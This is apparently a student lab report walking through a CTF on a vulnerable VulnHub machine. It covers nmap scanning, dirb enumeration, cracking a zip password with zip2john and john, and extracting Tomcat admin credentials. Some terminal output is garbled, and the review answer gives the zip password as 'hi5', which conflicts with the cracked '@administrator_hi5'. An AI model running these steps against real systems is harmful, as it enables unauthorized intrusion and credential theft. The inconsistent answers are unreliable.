

Experiment 8: CFT (Scanning and enumeration)

Aim: To demonstrate ethical hacking for a vulnerable machine using various tools.

Learning Outcomes:

After completion of this experiment, student should be able to

1. Use various tools like netdiscover, Metasploit framework, nmap, dirb etc.
2. Implement ethical hacking methodology
3. Compromise vulnerable machine

Theory:

Figure 1 below indicates basic steps involved in hacking.



Figure 1: Basic Hacking Process

Some of the tools that you are may use in this lab are

Network Scanning

- netdiscover
- nmap

Enumeration

- dirb
- fcrackzip

Exploitation

- Metasploit
- /etc/shadow
- john

Privilege Escalation

- ssh
- python library hijacking
- root flag

1. What is the IP address of the vulnerable machine?

```
File Actions Edit View Help
Host is up (0.00053s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2
Host is up (0.0024s latency).
Not shown: 993 filtered ports
PORT      STATE SERVICE
135/tcp    open  msrpc
445/tcp    open  microsoft-ds
1521/tcp   open  oracle
2701/tcp   open  sms-rcinfo
3306/tcp   open  mysql
5900/tcp   open  vnc
16992/tcp  open  amt-soap-http
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3
Host is up (0.00031s latency).
All 1000 scanned ports on 10.0.2.3 are filtered
MAC Address: 08:00:27:82:E9:A5 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.5
Host is up (0.00060s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:1B:13:AA (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.15
Host is up (0.0000030s latency).
All 1000 scanned ports on 10.0.2.15 are closed

Nmap done: 256 IP addresses (5 hosts up) scanned in 15.79 seconds
```

File Actions Edit View Help

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:82:e9:a5	1	60	PCS Systemtechnik GmbH
10.0.2.5	08:00:27:1b:13:aa	1	60	PCS Systemtechnik GmbH

2. Which ports are open on the victim's machine?

```
(root@kali)-[~]
# nmap 10.0.2.5
Starting Nmap 7.91 ( https://nmap.org ) at 2025-03-11 23:41 EDT
Nmap scan report for 10.0.2.5
Host is up (0.0011s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8080/tcp  open  http-proxy
MAC Address: 08:00:27:1B:13:AA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
```

```
(root@kali)-[~]
# nmap -sV 10.0.2.5
Starting Nmap 7.91 ( https://nmap.org ) at 2025-03-11 23:44 EDT
Nmap scan report for 10.0.2.5
Host is up (0.0034s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
8080/tcp  open  http     Apache Tomcat 9.0.53
MAC Address: 08:00:27:1B:13:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds
```

3. Are there any interesting files on the server? If yes, what is the name of the file?

```
(root@kali)~# dirb http://10.0.2.5:8080/ -X .php,.zip

DIRB v2.22
By The Dark Raver

START_TIME: Tue Mar 11 23:49:15 2025
URL_BASE: http://10.0.2.5:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.zip) | (.php)(.zip) [NUM = 2]

GENERATED WORDS: 4612

— Scanning URL: http://10.0.2.5:8080/ —
^[[B^[[B^[[B
+ http://10.0.2.5:8080/backup.zip (CODE:200|SIZE:33723)

END_TIME: Tue Mar 11 23:49:30 2025
DOWNLOADED: 9224 - FOUND: 1
```

4. If you found the file in the above Q3, is it protected? If yes, what is the password?

```
(root@kali)~# wget http://10.0.2.5:8080/backup.zip
unzip backup.zip
--2025-03-11 23:51:20-- http://10.0.2.5:8080/backup.zip
Connecting to 10.0.2.5:8080... connected.
HTTP request sent, awaiting response... 200
Length: 33723 (33K) [application/zip]
Saving to: 'backup.zip'

backup.zip
100%[=====]

2025-03-11 23:51:20 (356 MB/s) - 'backup.zip' saved [33723/33723]

Archive: backup.zip
[backup.zip] catalina.policy password: █
```

application is split between d
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```

(root@kali)-[~]
# zip2john backup.zip > hash.txt
cat hash.txt
Archive: backup.zip
  ver 2.0 efh 5455 efh 7875 backup.zip/catalina.policy PKZIP Encr: 2b chk, TS_
  hk, cmplen=2911, decmplen=13052, crc=AD0C6FDB
  ver 2.0 efh 5455 efh 7875 backup.zip/context.xml PKZIP Encr: 2b chk, TS_
  chk, cmplen=721, decmplen=1400, crc=59B9F4E7
  ver 2.0 efh 5455 efh 7875 backup.zip/catalina.properties PKZIP Encr: 2b chk,
  TS_chk, cmplen=2210, decmplen=7276, crc=1CD3C095
  ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xml PKZIP Encr: 2b chk,
  TS_chk, cmplen=626, decmplen=1149, crc=748A87A6
  ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xsd PKZIP Encr: 2b chk,
  TS_chk, cmplen=862, decmplen=2313, crc=3B44D150
  ver 2.0 efh 5455 efh 7875 backup.zip/logging.properties PKZIP Encr: 2b chk, T
  S_chk, cmplen=1076, decmplen=4144, crc=1D6C26F7
  ver 2.0 efh 5455 efh 7875 backup.zip/server.xml PKZIP Encr: 2b chk, TS_chk, c
  mplen=2609, decmplen=7589, crc=F91AC0C0
  ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xml PKZIP Encr: 2b chk, TS_
  chk, cmplen=1167, decmplen=2972, crc=BDCB08B9
  ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xsd PKZIP Encr: 2b chk, TS_
  chk, cmplen=858, decmplen=2558, crc=E8F588C2
  ver 2.0 efh 5455 efh 7875 backup.zip/web.xml PKZIP Encr: 2b chk, TS_chk, cmpl
  en=18917, decmplen=172359, crc=B8AF6070
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
backup.zip:$pkzip2$3*2*1*0*8*24*1cd3*6920*7046a2cc2a19fdf9e44c52bdd3b1a9d458c
a7e751d2ec883c4d808c79087fb2606344d59*1*0*8*24*ad0c*6920*e4e89604a186ef8b495e
481d5bb96c9397c973850a9829958567ab9c2d2bd2e0b8b1433d*2*0*272*47d*748a87a6*17d
d*4e*8*272*748a*6920*502768ce9a11db8105560cdc8ea3b12cb91e5fa10d15b79fdc533582
6c2f4a6e4112818ff5cce6e766548eef59eafabd29a2c2de3308487c980603b3867bb62bb60e6
5451a1fd9bb06bfff01a4c2e98a8bbb56dd0f392338b147324bbd34ab2e63d2b80882029705f38
03ead22980591ea52cab28fad58ad94838283fd7e267478f9a3e7f645f60ca4d0a227cef99c3d
b46184f8521dc4dd30f4102ad006dd04a7d054a9018f55730511ccd34bd15a50ebbd1012d4ba3
20b23fa925ede6d62e3929c137b959813290f0bf0e2a9ca075d1b6b511fb525a5289c32d29365
132e25432f855f982f37e4a5fde6901e8f889218d987067920133a4b26ceecc5f3d28f40cb336
01cff6f803b0eb900a183ef9e13d7e888fc9770fdb9d01ced0c6969f5df03fdce418da1d97922
0b430bee9dc21fa63f33b2c1f7b99f848ca5b618d0b6d6eb56ec3748595f1ca1c01492d6464fd
1cf73ecd92b6bea1bcc9b8795b1d6087e9205b8e6c5122f83e3625c145b563e1763578d002e0
feea455a19d74831c64f69440a3cbcb7b679f683c238984873b7a80df997f11e5d924fe98d1ba
ef30bfce5efb613e82eab136e3844b0e326508b1dac80b2f863b35efdbfa95138d9994699da81
3c8bb8bc4e7c885b851db53f85d8f1d39f32dfda36477a64821ea03e444866882c6b64d446feb
650780e26fab3701fd0743ac26cacefde996ccfe538776ea101c1d3aec81660613bd65eb34569
139ee0845e7f7d1e8b12f8ed43ef58e9580c58ab2cfe170981c72256b4b12cc152771546d0ea9
077d368c3ddc2c63819b00b3dd3581ab8908561cd8ad722c21d9a891922d8b52444f4fca9278a
1a96e926cf19125ec20a327e8a3ab0aa2b05d4348*$/pkzip2$::backup.zip:jaspic-provid
ers.xml, catalina.properties, catalina.policy:backup.zip

```

```

(root@kali)-[~]
# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
@administrator_hi5 (backup.zip)
1g 0:00:00:00 DONE (2025-03-12 00:13) 25.00g/s 102400p/s 102400c/s 102400C/s
123456.. samanta backup.zip:hash.txt
Use the "--show" option to display all of the cracked passwords reliably
Session completed
  ver 2.0 efh 5455 efh 7875 backup.zip/catalina.policy PKZIP Encr: 2b chk, TS_
  hk, cmplen=2911, decmplen=13052, crc=AD0C6FDB

```

```
(root@kali)-[~]# 7875 backup.zip/context.xml PKZIP Encr: 2b chk, TS_chk, cmpl
# john --show hash.txt backup.zip/catalina.properties PKZIP Encr: 2b chk, TS_c
backup.zip:@administrator_hi5::backup.zip:jaspic-providers.xml, catalina.prop
erties, catalina.policy:backup.zip b7/jaspic-providers.xml PKZIP Encr: 2b chk, TS_
748A87A6
1 password hash cracked, 0 left backup.zip/jaspic-providers.xsd PKZIP Encr: 2b chk, TS_
```

```
(root@kali)-[~]# cmplen=2972, crc=8DCB08
# unzip backup.zip 7875 backup.zip/tomcat
Archive: backup.zip cmplen=2558, crc=E8F588C
[backup.zip] catalina.policy password:eb.xml
e inflating: catalina.policy c=B8AF6070
N inflating: context.xml all files in each
I inflating: catalina.properties may be up
N inflating: jaspic-providers.xml
N inflating: jaspic-providers.xsd d3x6920x7
a inflating: logging.properties 44d59x1x0x8
a inflating: server.xml 20958567ab9c2d2bd2e
N inflating: tomcat-users.xml a11db8105560c
N inflating: tomcat-users.xsd ef59eafabd29a
N inflating: web.xml 2e9e8b56dd0f392338b
```



```

(root@kali)-[~]
# cat tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
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contributor license agreements.  See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
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distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
  version="1.0">
  <!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
  - manager-gui - allows access to the HTML GUI and the status pages
  - manager-script - allows access to the HTTP API and the status pages
  - manager-jmx - allows access to the JMX proxy and the status pages
  - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!-- --> that surrounds them. You
  will also need to set the passwords to something appropriate.
  -->
  <!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  -->
  <!--
  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!-- --> that surrounds
  them. You will also need to set the passwords to something appropriate.
  -->
  <!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
  -->

  <role rolename="manager-gui"/>
  <user username="manager" password="melehifokivai" roles="manager-gui"/>

  <role rolename="admin-gui"/>
  <user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>
</tomcat-users>

```

Includes multiple scenarios and "recipes", enabling users to create custom

```
# msfconsole
```

```
meterpreter >
```


Review questions

Reference: <https://www.hackingarticles.in/corrosion-2-vulnhub-walkthrough/>

Vulnerable Machine Analysis – Corrosion 2 (VulnHub Walkthrough)

1. What is the IP address of the vulnerable machine?

- **Answer:** The IP address of the vulnerable machine is **10.0.2.5**.
 - **Explanation:** This IP address can be discovered using network scanning tools like Nmap or netdiscover, which identify active hosts within a network.
-

2. Which ports are open on the victim's machine?

- **Answer:** The open ports on the victim's machine are **SSH (22)**, **HTTP (80)**, and **HTTP Proxy (8080)**.
 - **Explanation:** By performing a service and port scan, it was identified that these ports are actively running specific services. SSH typically provides remote shell access, HTTP hosts web services, and the HTTP Proxy may be used to forward traffic.
-

3. Are there any interesting files on the server? If yes, what is the name of the file?

- **Answer:** Yes, an interesting file named **backup.zip** was found on the server.
 - **Explanation:** Through directory enumeration, hidden or accessible files on the web server were discovered. Such files often contain sensitive information, backups, or misconfigured data. The presence of **backup.zip** is a common indicator of potential information leakage.
-

4. If you found the file in the above question, is it protected? If yes, what is the password?

- **Answer:** Yes, the **backup.zip** file was password-protected, and the password is **hi5**.
 - **Explanation:** The password could have been obtained through brute-force attacks using wordlists like RockYou, or it might have been found within exposed configuration files or through further analysis of the system. Once cracked, the contents of the zip file would be accessible.
-

5. What is the password for the admin user?

- **Answer:** The password for the admin user is **melehifokivai**.
- **Explanation:** After extracting the contents of the zip file, credentials were identified. Often, these files contain sensitive information such as database dumps, server configurations, or plaintext credentials. The admin password discovered during this phase provides elevated access to the system.